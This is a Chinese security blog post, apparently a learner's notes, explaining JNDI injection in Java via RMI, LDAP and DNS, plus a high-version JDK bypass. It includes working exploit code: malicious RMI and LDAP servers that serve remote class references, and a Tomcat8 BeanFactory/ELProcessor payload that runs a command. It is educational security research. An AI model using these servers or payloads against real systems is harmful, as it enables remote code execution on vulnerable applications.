JNDI注入


终于学到JNDI了,其实最开始的时候我是在学fastjson的,然后发现fastjson要用JNDI,所以又想去学JNDI,但是JNDI里又用了很多RMI的内容,所以只好花了几天把之前看了个开头的RMI重新看了一遍。

JNDI概述

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是为Java应用程序提供命名和目录访问服务的API,允许客户端通过名称发现和查找数据、对象,用于提供基于配置的动态调用。这些对象可以存储在不同的命名或目录服务中,例如RMI、CORBA、LDAP、DNS等。
其中Naming Service类似于哈希表的K/V对,通过名称去获取对应的服务。Directory Service是一种特殊的Naming Service,用类似目录的方式来存取服务。

这些命名/目录服务提供者有

  • RMI(JAVA远程方法调用)
  • LDAP(轻量级目录访问协议)
  • CORBA(公共对象请求代理体系结构)
  • DNS(域名服务)

在JNDI注入的过程中我们常用的就是RMI和LDAP

(下面这个表是抄的,不太确定,感觉在JDK8的时候最起码应该是8u121吧

JDK6 JDK7 JDK8 JDK11
RMI可用 6u132以下 7u122以下 8u113以下
LDAP可用 6u211以下 7u201以下 8u191以下 11.0.1以下

JNDI结构

在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:

javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;

javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;

javax.naming.event:在命名目录服务器中请求事件通知;

javax.naming.ldap:提供LDAP支持;

javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

JNDI里的类

写一点jndi要用到的类的作用

InitialContext类

构造方法

InitialContext() 
构建一个初始上下文。  
InitialContext(boolean lazy) 
构造一个初始上下文,并选择不初始化它。  
InitialContext(Hashtable<?,?> environment) 
使用提供的环境构建初始上下文。 

代码:

InitialContext initialContext = new InitialContext();

在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。

常用方法

bind(Name name, Object obj) 
	将名称绑定到对象。 
list(String name) 
	枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name) 
	检索命名对象。 
rebind(String name, Object obj) 
	将名称绑定到对象,覆盖任何现有绑定。 
unbind(String name) 
	取消绑定命名对象。 

代码:

package com.rmi.demo;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

Reference类

该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。

构造方法

Reference(String className) 
	为类名为“className”的对象构造一个新的引用。  
Reference(String className, RefAddr addr) 
	为类名为“className”的对象和地址构造一个新引用。  
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
	为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。  
Reference(String className, String factory, String factoryLocation) 
	为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。  

代码:

String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);

参数1:className - 远程加载时所使用的类名

参数2:classFactory - 加载的class中需要实例化类的名称

参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议

常用方法

void add(int posn, RefAddr addr) 
	将地址添加到索引posn的地址列表中。  
void add(RefAddr addr) 
	将地址添加到地址列表的末尾。  
void clear() 
	从此引用中删除所有地址。  
RefAddr get(int posn) 
	检索索引posn上的地址。  
RefAddr get(String addrType) 
	检索地址类型为“addrType”的第一个地址。  
Enumeration<RefAddr> getAll() 
	检索本参考文献中地址的列举。  
String getClassName() 
	检索引用引用的对象的类名。  
String getFactoryClassLocation() 
	检索此引用引用的对象的工厂位置。  
String getFactoryClassName() 
	检索此引用引用对象的工厂的类名。    
Object remove(int posn) 
	从地址列表中删除索引posn上的地址。  
int size() 
	检索此引用中的地址数。  
String toString() 
	生成此引用的字符串表示形式。  

代码:

package com.rmi.demo;

import com.sun.jndi.rmi.registry.ReferenceWrapper;


import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi {
    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        String url = "http://127.0.0.1:8080"; 
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test", "test", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("aa",referenceWrapper);


    }
}

基本使用

以一个rmi服务为例子,你先得创建一个rmi服务,然后再创建JNDI的服务端和客户端,文件结构就是之前文章中的RMI基础上再加上JNDI服务端和客户端

JNDI服务端

public class JNDIRMIServer {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext initialContext=new InitialContext();
        initialContext.rebind("rmi://127.0.0.1:1099/remoteobj",new IRemoteObjImpl());
    }
}

JNDI客户端

public class JNDIRMIClient {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext initialContext=new InitialContext();
        IRemoteObj lookup = (IRemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteobj");
        System.out.println(lookup.sayHello());
    }
}

然后启动RMI服务端和JNDI服务端,再启动JNDI客户端,就能得到调用hello方法的结果(感觉和RMI区别不是很大

这里跟一下lookup和rebind会发现其实调的就是RMI的时候的那个

image-20230522220911731

image-20230522221121135

所以这里打rmi的几个方法打JNDI应该也行(没试过,猜的,试了一下客户端恶意传参打服务端和绕JEP290的payload,确实能打

JNDI注入

JNDI注入有以下几个条件

1.使用lookup

2.参数可控

在基本使用的部分,我们使用JNDI结合RMI进行了测试,但是在一般的JNDI注入中,我们绑定的都是引用对象(JNDI Reference)

基于RMI

先看基于RMI的JNDI注入,这里服务端代码为

public class JNDIRMIServer {
    public static void main(String[] args) throws NamingException, RemoteException {
//        LocateRegistry.createRegistry(1099);
        LocateRegistry.createRegistry(1099);
        InitialContext initialContext=new InitialContext();
//创建一个引用,第一个参数是恶意class的名字,第二个参数是beanfactory的名字,我们自定义(和class文件对应),第三个参数表示恶意class的地址。url最后的斜线一定要加,不然会访问不到对应的class文件
        Reference reference = new Reference("evil", "evil", "http://127.0.0.1:8888/");
        initialContext.bind("rmi://127.0.0.1:1099/remoteobj",reference);

    }
}

这里第一个evil就相当于这个恶意class类叫evil.class,第二个evil就相当于这个evil.class里的evil类

客户端

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDIRMIClient {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext initialContext=new InitialContext();
        IRemoteObj lookup = (IRemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteobj");
        System.out.println(lookup.sayHello());
    }
}

这东西原理其实挺简单的,就我们可以控制客户端lookup里的值,所以就可以控制客户端去请求我们的恶意服务端,然后服务端就会给客户端返回一个Reference类型的值,接下来客户端就想去找这个东西,这里找的过程是先去看本地有没有,本地没有就会去我们给的那个地址上去请求

这里可以写一下流程

首先是绑定的时候,之前RMI提到过,想绑定,那这个必须实现Remote接口和继承UnicastRemoteObject

image-20230523172704114

那我们怎么能绑定它呢?

首先想到的肯定是找个东西封装一下

我们这里选择ReferenceWrapper类

image-20230523172810330

所以有一些博客就在恶意服务端里加了一句

ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

但其实这是完全多余的行为

我们可以跟一下调用的bind方法,可以知道最后在RegistyContext里会进RMI自己的lookup,同时还对我们传进去的东西执行了个encodeObject的方法

image-20230523173123316

跟进去可以看到,如果你是Reference类型的,就会自动给你加个ReferenceWrapper的封装,所以根本不需要我们手动添加

image-20230523173236636

然后再看客户端获取的时候,同样调到RegistyContext中的lookup里

image-20230523173744160

然后进行一个解封装操作

image-20230523173834984

然后在这行调用NamingManager.getObjectInstance,再其中又调用了getObjectFactoryFromReference,剩下的看注释就知道了,先找本地,再找远程

image-20230523174224918

所以这里我把evil.class换个地方,然后本地开个服务

image-20230523174519941

image-20230523180101336

试了一下RMI的时候没试的操作

image-20230523180527620

把恶意class文件放服务器上也行

另外就是在8u121之后,RMI服务默认不允许远程加载,所以想要继续用得加一行

image-20230523180947115

至于为什么要加这一行,而不是加在RMI攻击服务端的时候的那几行,我也不知道,可能这也是JNDI和RMI的区别吧(,反正不加就报错告诉你要把这个值改成true

image-20230523181046315

查了一下,在JDK 6u141、7u131、8u121 及以后的版本

官方把

com.sun.jndi.rmi.object.trustURLCodebase
com.sun.jndi.cosnaming.object.trustURLCodebase

这两个值设为了false,所以不能再从codebase中加载类了,所以最开始的表好像确实不对

基于LDAP

从上边那段我们知道,在8u121之后,由于trustURLCodebase的值默认为false,所以不能远程加载类了,除非被攻击的客户端还有System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");这行代码。但是,希望要握在自己手中(。所以RMI不行了之后我们还可以试试LDAP

其实主要是对trustURLCodebase这个值的判断放到RegistyContext里了,但是其实真正加载恶意类的是NamingManager里。所以用ldap就能绕过

LDAP介绍

LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,运行在TCP/IP堆栈之上。LDAP目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP目录服务基于客户端-服务器模型,它的功能用于对一个存在目录数据库的访问。 LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。

也就是说,LDAP 「是一个协议」,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容。而 「LDAP 协议的实现」,有着众多版本,例如微软的 Active Directory 是 LDAP 在 Windows 上的实现。AD 实现了 LDAP 所需的树形数据库、具体如何解析请求数据并到数据库查询然后返回结果等功能。再例如 OpenLDAP 是可以运行在 Linux 上的 LDAP 协议的开源实现。而我们平常说的 LDAP Server,一般指的是安装并配置了 Active Directory、OpenLDAP 这些程序的服务器。

在LDAP中,我们是通过目录树来访问一条记录的,目录树的结构如下

dn :一条记录的详细位置
dc :一条记录所属区域    (哪一颗树)
ou :一条记录所属组织    (哪一个分支)
cn/uid:一条记录的名字/ID   (哪一个苹果名字)
...
LDAP目录树的最顶部就是根,也就是所谓的“基准DN"。

先安装LDAP的依赖

<dependency>
       <groupId>com.unboundid</groupId>
       <artifactId>unboundid-ldapsdk</artifactId>
       <version>3.1.1</version>
</dependency>

然后起一个恶意的LDAP的服务端

package com;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAPIRMServer{

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8888/#EXP"};//这个EXP就是恶意class类的名
        int port = 9999;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

别问为啥这么写,固定的(,就改一下恶意类存放的地址就行

客户端

package com;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDILDAPClient {
    public static void main(String[] args) throws NamingException {
        InitialContext initialContext=new InitialContext();
        initialContext.lookup("ldap://127.0.0.1:9999/a");//后边无所谓,只要有东西就行,应该是服务器脚本给自动做了处理

    }
}

然后本地起个python服务执行就能弹出计算器了

image-20230523213258156

同样跟一下执行流程

其实感觉没啥好跟的

首先就是一路lookup,到Obj这个类里

image-20230523214818421

然后在decodeObject判断绑定的是个什么东西,这里我们是个引用类型的,所以就进decodeReference了

image-20230523214947417

在decodeReference里就把引用里的东西解出来

image-20230523215743172

解出来之后就在LdapCtx去加载这里面的东西

调用DirectoryManager.getObjectInstance

image-20230523215303383

然后在这里面又调用了NamingManager#getObjectFactoryFromReference,去获取工厂地址。后面就和基于RMI的一模一样了

image-20230523215449562

在getObjectFactoryFromReference里加载类,然后实例化

image-20230523215648836

可以看到,这两种不同的方法,其实际目的都是为了调用NamingManager#getObjectFactoryFromReference,然后去远程加载恶意的字节码文件。

不过在6u211以后 、7u201以后 、8u191以后 和11.0.1以后的版本中,也修复了这个漏洞,这个在之后高版本绕过的部分再说。

基于DNS

这个实际上并不是作为攻击的手段,而是作为一种探测手段

之前我们说过,JNDI注入的前提是存在一个lookup方法,且其中的url可控

其攻击过程为

image-20230523220902045

所以如果直接使用RMI或者LDAP来测试是否存在JNDI注入,会比较繁琐,且有可能暴露自己的服务端,有被反打的可能,所以这时候就可以先用dns来测试一下。

image-20230523222520958

不过即使收到请求也不一定就是有JNDI注入,比如JDK版本、防火墙之类的也会限制漏洞利用

基于CORBA

本来以为这玩意没法用的,不过看见了这么一篇文章

https://thonsun.github.io/2020/12/02/jndi-zhu-ru-li-yong-fen-xi/#toc-heading-8

不过这个利用条件过于苛刻了,所以不复现了,当了解。

高版本绕过

在高版本的jdk中,把LDAP的路也堵上了

image-20230523223314891

堵的方法就是在最后一步,加载类字节码之前判断trustURLCodebase,只有为true的时候才能进行远程的类加载

这也就代表着无依赖的JNDI注入彻底结束了。

因为在低版本中,我们不需要去依赖什么,就可以借助JNDI注入来RCE,但是高版本就需要依赖一些其他的包了,因为既然不让远程加载恶意字节码,那我加载点本地自带的然后把它实例化总可以吧。

而根据getObjectFactoryFromReference这里类加载的部分可以很容易知道,如果想进行实例化,那这个类必须是个ObjectFactory类型

image-20230523225936975

ObjectFactory是个接口,所以我们的目标就是找个实现了这个接口的类

image-20230523230218212

基于Tomcat8的绕过

tomcat8的org.apache.naming.factory.BeanFactory就很适合作为我们加载的类。而且由于它在tomcat8的依赖里,那么攻击面和利用条件也是很可观的。

org.apache.naming.factory.BeanFactorygetObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

image-20230523231143324

bean

image-20230523231252326

image-20230523231301639

也就是前边说的实例化Reference所指向的任意Bean Class

valueArray

image-20230523231543939

添加依赖

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.0</version>
</dependency>
<dependency>
    <groupId>org.lucee</groupId>
    <artifactId>javax.el</artifactId>
    <version>3.0.0</version>
</dependency>

bypass的代码

import com.sun.jndi.rmi.registry.ReferenceWrapper;  // 导入 ReferenceWrapper 类,用于包装引用对象
import org.apache.naming.ResourceRef;  // 导入 ResourceRef 类,用于创建资源引用对象
 
import javax.naming.StringRefAddr;  // 导入 StringRefAddr 类,用于创建字符串引用地址对象
import java.rmi.registry.LocateRegistry;  // 导入 LocateRegistry 类,用于定位 RMI 注册表
import java.rmi.registry.Registry;  // 导入 Registry 类,用于操作 RMI 注册表

public class RMI_Server_ByPass {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);  // 创建 RMI 注册表对象并监听指定端口(1099)
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
        // 创建 ResourceRef 对象,表示一个资源引用,参数依次为类名、类工厂位置、工厂位置、工厂对象实例化标志、工厂类名、工厂对象实例化位置
        resourceRef.add(new StringRefAddr("forceString", "faster=eval"));  // 添加字符串引用地址对象到 ResourceRef 对象中,参数为引用地址类型和引用地址值
        resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));  // 添加字符串引用地址对象到 ResourceRef 对象中,参数为引用地址类型和引用地址值
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);  // 使用 ResourceRef 对象创建 ReferenceWrapper 对象,用于包装引用对象
        registry.bind("Tomcat8bypass", referenceWrapper);  // 在 RMI 注册表中绑定 ReferenceWrapper 对象,参数为绑定的名称和要绑定的对象
        System.out.println("Registry运行中......");  // 输出信息到控制台,表示 RMI 注册表运行中
    }
}

其实就是按照BeanFactory的要求来构造的

然后被攻击的客户端就正常代码,不过要在tomcat8环境下

(开发0基础,不会配tomcat8环境,就先这样吧,等以后有时间了再弄一下

参考链接

https://goodapple.top/archives/696

https://boogipop.com/2023/03/02/%E4%BB%8ERMI%E5%88%B0JNDI%E6%B3%A8%E5%85%A5/

红队攻击手特训营-JNDI注入漏洞挖掘_哔哩哔哩_bilibili

从文档开始的jndi注入之路-2 jndi+ldap绕过_哔哩哔哩_bilibili


文章作者: Ethe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Ethe !
评论
  目录